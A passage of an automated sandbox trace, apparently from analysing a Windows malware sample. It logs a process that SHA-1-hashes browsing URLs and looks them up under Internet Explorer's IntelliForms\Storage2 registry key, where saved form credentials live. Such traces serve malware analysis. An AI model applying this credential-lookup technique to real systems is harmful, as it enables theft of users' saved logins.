lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF") returned="00992F34AAC02AE4499DBD49F8F6E0BE2DDF" [0096.992] LocalFree (hMem=0x2815a80) returned 0x0 [0096.992] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1A") returned 2 [0096.992] lstrlenW (lpString="00992F34AAC02AE4499DBD49F8F6E0BE2DDF") returned 36 [0096.992] lstrlenW (lpString="1A") returned 2 [0096.992] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.992] lstrcpyW (in: lpString1=0x28e7910, lpString2="00992F34AAC02AE4499DBD49F8F6E0BE2DDF" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF") returned="00992F34AAC02AE4499DBD49F8F6E0BE2DDF" [0096.992] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF", lpString2="1A" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1A") returned="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1A" [0096.992] LocalFree (hMem=0x28e7670) returned 0x0 [0096.992] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D9") returned 2 [0096.992] lstrlenW (lpString="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1A") returned 38 [0096.992] lstrlenW (lpString="D9") returned 2 [0096.992] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.992] lstrcpyW (in: lpString1=0x28e7670, lpString2="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1A" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1A") returned="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1A" [0096.992] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1A", lpString2="D9" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9") returned="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9" [0096.992] LocalFree (hMem=0x28e7910) returned 0x0 [0096.992] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EB") returned 2 [0096.992] lstrlenW (lpString="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9") returned 40 [0096.992] lstrlenW (lpString="EB") returned 2 [0096.992] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.992] lstrcpyW (in: lpString1=0x28e7910, lpString2="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9") returned="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9" [0096.992] lstrcatW (in: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9", lpString2="EB" | out: lpString1="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9EB") returned="00992F34AAC02AE4499DBD49F8F6E0BE2DDF1AD9EB" [0096.992] LocalFree (hMem=0x28e7670) returned 0x0 [0096.992] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.992] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.992] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.992] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.993] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.993] LocalFree (hMem=0x28e7910) returned 0x0 [0096.993] RegEnumValueW (in: hKey=0x368, dwIndex=0x20, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url18", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.993] StrStrIW (lpFirst="dailymail.co.uk", lpSrch="?") returned 0x0 [0096.993] StrStrIW (lpFirst="dailymail.co.uk", lpSrch="http://") returned 0x0 [0096.993] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.993] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.993] lstrlenW (lpString="dailymail.co.uk") returned 15 [0096.993] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x20, dwFlags=0x0) returned 1 [0096.993] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.993] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="95") returned 2 [0096.993] lstrlenW (lpString="") returned 0 [0096.993] lstrlenW (lpString="95") returned 2 [0096.993] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.993] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.994] lstrcatW (in: lpString1="", lpString2="95" | out: lpString1="95") returned="95" [0096.994] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5B") returned 2 [0096.994] lstrlenW (lpString="95") returned 2 [0096.994] lstrlenW (lpString="5B") returned 2 [0096.994] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0096.994] lstrcpyW (in: lpString1=0x28ca380, lpString2="95" | out: lpString1="95") returned="95" [0096.994] lstrcatW (in: lpString1="95", lpString2="5B" | out: lpString1="955B") returned="955B" [0096.994] LocalFree (hMem=0x7222e70) returned 0x0 [0096.994] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0096.994] lstrlenW (lpString="955B") returned 4 [0096.994] lstrlenW (lpString="70") returned 2 [0096.994] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.994] lstrcpyW (in: lpString1=0x28c81c0, lpString2="955B" | out: lpString1="955B") returned="955B" [0096.994] lstrcatW (in: lpString1="955B", lpString2="70" | out: lpString1="955B70") returned="955B70" [0096.994] LocalFree (hMem=0x28ca380) returned 0x0 [0096.994] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E0") returned 2 [0096.994] lstrlenW (lpString="955B70") returned 6 [0096.994] lstrlenW (lpString="E0") returned 2 [0096.994] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0096.994] lstrcpyW (in: lpString1=0x28ca380, lpString2="955B70" | out: lpString1="955B70") returned="955B70" [0096.994] lstrcatW (in: lpString1="955B70", lpString2="E0" | out: lpString1="955B70E0") returned="955B70E0" [0096.994] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.994] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0096.994] lstrlenW (lpString="955B70E0") returned 8 [0096.994] lstrlenW (lpString="DE") returned 2 [0096.994] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.994] lstrcpyW (in: lpString1=0x28c81c0, lpString2="955B70E0" | out: lpString1="955B70E0") returned="955B70E0" [0096.994] lstrcatW (in: lpString1="955B70E0", lpString2="DE" | out: lpString1="955B70E0DE") returned="955B70E0DE" [0096.994] LocalFree (hMem=0x28ca380) returned 0x0 [0096.994] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4A") returned 2 [0096.994] lstrlenW (lpString="955B70E0DE") returned 10 [0096.994] lstrlenW (lpString="4A") returned 2 [0096.994] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.994] lstrcpyW (in: lpString1=0x71cf460, lpString2="955B70E0DE" | out: lpString1="955B70E0DE") returned="955B70E0DE" [0096.994] lstrcatW (in: lpString1="955B70E0DE", lpString2="4A" | out: lpString1="955B70E0DE4A") returned="955B70E0DE4A" [0096.994] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.994] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="47") returned 2 [0096.995] lstrlenW (lpString="955B70E0DE4A") returned 12 [0096.995] lstrlenW (lpString="47") returned 2 [0096.995] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.995] lstrcpyW (in: lpString1=0x71cfb40, lpString2="955B70E0DE4A" | out: lpString1="955B70E0DE4A") returned="955B70E0DE4A" [0096.995] lstrcatW (in: lpString1="955B70E0DE4A", lpString2="47" | out: lpString1="955B70E0DE4A47") returned="955B70E0DE4A47" [0096.995] LocalFree (hMem=0x71cf460) returned 0x0 [0096.995] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BA") returned 2 [0096.995] lstrlenW (lpString="955B70E0DE4A47") returned 14 [0096.995] lstrlenW (lpString="BA") returned 2 [0096.995] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.995] lstrcpyW (in: lpString1=0x71cf460, lpString2="955B70E0DE4A47" | out: lpString1="955B70E0DE4A47") returned="955B70E0DE4A47" [0096.995] lstrcatW (in: lpString1="955B70E0DE4A47", lpString2="BA" | out: lpString1="955B70E0DE4A47BA") returned="955B70E0DE4A47BA" [0096.995] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.995] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D0") returned 2 [0096.995] lstrlenW (lpString="955B70E0DE4A47BA") returned 16 [0096.995] lstrlenW (lpString="D0") returned 2 [0096.995] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.995] lstrcpyW (in: lpString1=0x71cfb40, lpString2="955B70E0DE4A47BA" | out: lpString1="955B70E0DE4A47BA") returned="955B70E0DE4A47BA" [0096.995] lstrcatW (in: lpString1="955B70E0DE4A47BA", lpString2="D0" | out: lpString1="955B70E0DE4A47BAD0") returned="955B70E0DE4A47BAD0" [0096.995] LocalFree (hMem=0x71cf460) returned 0x0 [0096.995] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="08") returned 2 [0096.995] lstrlenW (lpString="955B70E0DE4A47BAD0") returned 18 [0096.995] lstrlenW (lpString="08") returned 2 [0096.995] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.995] lstrcpyW (in: lpString1=0x7290b70, lpString2="955B70E0DE4A47BAD0" | out: lpString1="955B70E0DE4A47BAD0") returned="955B70E0DE4A47BAD0" [0096.995] lstrcatW (in: lpString1="955B70E0DE4A47BAD0", lpString2="08" | out: lpString1="955B70E0DE4A47BAD008") returned="955B70E0DE4A47BAD008" [0096.995] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.995] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="36") returned 2 [0096.995] lstrlenW (lpString="955B70E0DE4A47BAD008") returned 20 [0096.995] lstrlenW (lpString="36") returned 2 [0096.995] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.995] lstrcpyW (in: lpString1=0x72912f0, lpString2="955B70E0DE4A47BAD008" | out: lpString1="955B70E0DE4A47BAD008") returned="955B70E0DE4A47BAD008" [0096.995] lstrcatW (in: lpString1="955B70E0DE4A47BAD008", lpString2="36" | out: lpString1="955B70E0DE4A47BAD00836") returned="955B70E0DE4A47BAD00836" [0096.995] LocalFree (hMem=0x7290b70) returned 0x0 [0096.995] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F9") returned 2 [0096.995] lstrlenW (lpString="955B70E0DE4A47BAD00836") returned 22 [0096.995] lstrlenW (lpString="F9") returned 2 [0096.995] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.996] lstrcpyW (in: lpString1=0x7290b70, lpString2="955B70E0DE4A47BAD00836" | out: lpString1="955B70E0DE4A47BAD00836") returned="955B70E0DE4A47BAD00836" [0096.996] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836", lpString2="F9" | out: lpString1="955B70E0DE4A47BAD00836F9") returned="955B70E0DE4A47BAD00836F9" [0096.996] LocalFree (hMem=0x72912f0) returned 0x0 [0096.996] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FC") returned 2 [0096.996] lstrlenW (lpString="955B70E0DE4A47BAD00836F9") returned 24 [0096.996] lstrlenW (lpString="FC") returned 2 [0096.996] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.996] lstrcpyW (in: lpString1=0x72912f0, lpString2="955B70E0DE4A47BAD00836F9" | out: lpString1="955B70E0DE4A47BAD00836F9") returned="955B70E0DE4A47BAD00836F9" [0096.996] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9", lpString2="FC" | out: lpString1="955B70E0DE4A47BAD00836F9FC") returned="955B70E0DE4A47BAD00836F9FC" [0096.996] LocalFree (hMem=0x7290b70) returned 0x0 [0096.996] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="24") returned 2 [0096.996] lstrlenW (lpString="955B70E0DE4A47BAD00836F9FC") returned 26 [0096.996] lstrlenW (lpString="24") returned 2 [0096.996] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.996] lstrcpyW (in: lpString1=0x2815a80, lpString2="955B70E0DE4A47BAD00836F9FC" | out: lpString1="955B70E0DE4A47BAD00836F9FC") returned="955B70E0DE4A47BAD00836F9FC" [0096.996] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9FC", lpString2="24" | out: lpString1="955B70E0DE4A47BAD00836F9FC24") returned="955B70E0DE4A47BAD00836F9FC24" [0096.996] LocalFree (hMem=0x72912f0) returned 0x0 [0096.996] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0096.996] lstrlenW (lpString="955B70E0DE4A47BAD00836F9FC24") returned 28 [0096.996] lstrlenW (lpString="A7") returned 2 [0096.996] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.996] lstrcpyW (in: lpString1=0x2815670, lpString2="955B70E0DE4A47BAD00836F9FC24" | out: lpString1="955B70E0DE4A47BAD00836F9FC24") returned="955B70E0DE4A47BAD00836F9FC24" [0096.996] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9FC24", lpString2="A7" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7") returned="955B70E0DE4A47BAD00836F9FC24A7" [0096.996] LocalFree (hMem=0x2815a80) returned 0x0 [0096.996] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D2") returned 2 [0096.996] lstrlenW (lpString="955B70E0DE4A47BAD00836F9FC24A7") returned 30 [0096.996] lstrlenW (lpString="D2") returned 2 [0096.996] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.996] lstrcpyW (in: lpString1=0x2815a80, lpString2="955B70E0DE4A47BAD00836F9FC24A7" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7") returned="955B70E0DE4A47BAD00836F9FC24A7" [0096.996] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9FC24A7", lpString2="D2" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D2") returned="955B70E0DE4A47BAD00836F9FC24A7D2" [0096.996] LocalFree (hMem=0x2815670) returned 0x0 [0096.996] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8E") returned 2 [0096.996] lstrlenW (lpString="955B70E0DE4A47BAD00836F9FC24A7D2") returned 32 [0096.996] lstrlenW (lpString="8E") returned 2 [0096.996] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.996] lstrcpyW (in: lpString1=0x2815670, lpString2="955B70E0DE4A47BAD00836F9FC24A7D2" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D2") returned="955B70E0DE4A47BAD00836F9FC24A7D2" [0096.996] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9FC24A7D2", lpString2="8E" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28E") returned="955B70E0DE4A47BAD00836F9FC24A7D28E" [0096.996] LocalFree (hMem=0x2815a80) returned 0x0 [0096.997] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E5") returned 2 [0096.997] lstrlenW (lpString="955B70E0DE4A47BAD00836F9FC24A7D28E") returned 34 [0096.997] lstrlenW (lpString="E5") returned 2 [0096.997] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.997] lstrcpyW (in: lpString1=0x28e7910, lpString2="955B70E0DE4A47BAD00836F9FC24A7D28E" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28E") returned="955B70E0DE4A47BAD00836F9FC24A7D28E" [0096.997] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28E", lpString2="E5" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE5") returned="955B70E0DE4A47BAD00836F9FC24A7D28EE5" [0096.997] LocalFree (hMem=0x2815670) returned 0x0 [0096.997] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="92") returned 2 [0096.997] lstrlenW (lpString="955B70E0DE4A47BAD00836F9FC24A7D28EE5") returned 36 [0096.997] lstrlenW (lpString="92") returned 2 [0096.997] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.997] lstrcpyW (in: lpString1=0x28e7670, lpString2="955B70E0DE4A47BAD00836F9FC24A7D28EE5" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE5") returned="955B70E0DE4A47BAD00836F9FC24A7D28EE5" [0096.997] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE5", lpString2="92" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE592") returned="955B70E0DE4A47BAD00836F9FC24A7D28EE592" [0096.997] LocalFree (hMem=0x28e7910) returned 0x0 [0096.997] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0096.997] lstrlenW (lpString="955B70E0DE4A47BAD00836F9FC24A7D28EE592") returned 38 [0096.997] lstrlenW (lpString="96") returned 2 [0096.997] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.997] lstrcpyW (in: lpString1=0x28e7910, lpString2="955B70E0DE4A47BAD00836F9FC24A7D28EE592" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE592") returned="955B70E0DE4A47BAD00836F9FC24A7D28EE592" [0096.997] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE592", lpString2="96" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE59296") returned="955B70E0DE4A47BAD00836F9FC24A7D28EE59296" [0096.997] LocalFree (hMem=0x28e7670) returned 0x0 [0096.997] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A4") returned 2 [0096.997] lstrlenW (lpString="955B70E0DE4A47BAD00836F9FC24A7D28EE59296") returned 40 [0096.997] lstrlenW (lpString="A4") returned 2 [0096.997] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.997] lstrcpyW (in: lpString1=0x28e7670, lpString2="955B70E0DE4A47BAD00836F9FC24A7D28EE59296" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE59296") returned="955B70E0DE4A47BAD00836F9FC24A7D28EE59296" [0096.997] lstrcatW (in: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE59296", lpString2="A4" | out: lpString1="955B70E0DE4A47BAD00836F9FC24A7D28EE59296A4") returned="955B70E0DE4A47BAD00836F9FC24A7D28EE59296A4" [0096.997] LocalFree (hMem=0x28e7910) returned 0x0 [0096.997] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.997] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.997] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.997] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.997] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.998] LocalFree (hMem=0x28e7670) returned 0x0 [0096.998] RegEnumValueW (in: hKey=0x368, dwIndex=0x21, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url17", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.998] StrStrIW (lpFirst="1905.com", lpSrch="?") returned 0x0 [0096.998] StrStrIW (lpFirst="1905.com", lpSrch="http://") returned 0x0 [0096.998] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.998] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.998] lstrlenW (lpString="1905.com") returned 8 [0096.998] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x12, dwFlags=0x0) returned 1 [0096.998] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.998] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AD") returned 2 [0096.998] lstrlenW (lpString="") returned 0 [0096.998] lstrlenW (lpString="AD") returned 2 [0096.998] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.998] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.998] lstrcatW (in: lpString1="", lpString2="AD" | out: lpString1="AD") returned="AD" [0096.998] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B8") returned 2 [0096.998] lstrlenW (lpString="AD") returned 2 [0096.998] lstrlenW (lpString="B8") returned 2 [0096.998] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.999] lstrcpyW (in: lpString1=0x28c81c0, lpString2="AD" | out: lpString1="AD") returned="AD" [0096.999] lstrcatW (in: lpString1="AD", lpString2="B8" | out: lpString1="ADB8") returned="ADB8" [0096.999] LocalFree (hMem=0x7222e70) returned 0x0 [0096.999] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="99") returned 2 [0096.999] lstrlenW (lpString="ADB8") returned 4 [0096.999] lstrlenW (lpString="99") returned 2 [0096.999] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0096.999] lstrcpyW (in: lpString1=0x28ca380, lpString2="ADB8" | out: lpString1="ADB8") returned="ADB8" [0096.999] lstrcatW (in: lpString1="ADB8", lpString2="99" | out: lpString1="ADB899") returned="ADB899" [0096.999] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.999] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1E") returned 2 [0096.999] lstrlenW (lpString="ADB899") returned 6 [0096.999] lstrlenW (lpString="1E") returned 2 [0096.999] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.999] lstrcpyW (in: lpString1=0x28c81c0, lpString2="ADB899" | out: lpString1="ADB899") returned="ADB899" [0096.999] lstrcatW (in: lpString1="ADB899", lpString2="1E" | out: lpString1="ADB8991E") returned="ADB8991E" [0096.999] LocalFree (hMem=0x28ca380) returned 0x0 [0096.999] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="46") returned 2 [0096.999] lstrlenW (lpString="ADB8991E") returned 8 [0096.999] lstrlenW (lpString="46") returned 2 [0096.999] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0096.999] lstrcpyW (in: lpString1=0x28ca380, lpString2="ADB8991E" | out: lpString1="ADB8991E") returned="ADB8991E" [0096.999] lstrcatW (in: lpString1="ADB8991E", lpString2="46" | out: lpString1="ADB8991E46") returned="ADB8991E46" [0096.999] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.999] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0096.999] lstrlenW (lpString="ADB8991E46") returned 10 [0096.999] lstrlenW (lpString="37") returned 2 [0096.999] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.999] lstrcpyW (in: lpString1=0x71cfb40, lpString2="ADB8991E46" | out: lpString1="ADB8991E46") returned="ADB8991E46" [0096.999] lstrcatW (in: lpString1="ADB8991E46", lpString2="37" | out: lpString1="ADB8991E4637") returned="ADB8991E4637" [0096.999] LocalFree (hMem=0x28ca380) returned 0x0 [0096.999] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0096.999] lstrlenW (lpString="ADB8991E4637") returned 12 [0096.999] lstrlenW (lpString="D6") returned 2 [0096.999] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.999] lstrcpyW (in: lpString1=0x71cf460, lpString2="ADB8991E4637" | out: lpString1="ADB8991E4637") returned="ADB8991E4637" [0096.999] lstrcatW (in: lpString1="ADB8991E4637", lpString2="D6" | out: lpString1="ADB8991E4637D6") returned="ADB8991E4637D6" [0096.999] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.999] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CD") returned 2 [0097.000] lstrlenW (lpString="ADB8991E4637D6") returned 14 [0097.000] lstrlenW (lpString="CD") returned 2 [0097.000] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.000] lstrcpyW (in: lpString1=0x71cfb40, lpString2="ADB8991E4637D6" | out: lpString1="ADB8991E4637D6") returned="ADB8991E4637D6" [0097.000] lstrcatW (in: lpString1="ADB8991E4637D6", lpString2="CD" | out: lpString1="ADB8991E4637D6CD") returned="ADB8991E4637D6CD" [0097.000] LocalFree (hMem=0x71cf460) returned 0x0 [0097.000] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="43") returned 2 [0097.000] lstrlenW (lpString="ADB8991E4637D6CD") returned 16 [0097.000] lstrlenW (lpString="43") returned 2 [0097.000] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.000] lstrcpyW (in: lpString1=0x71cf460, lpString2="ADB8991E4637D6CD" | out: lpString1="ADB8991E4637D6CD") 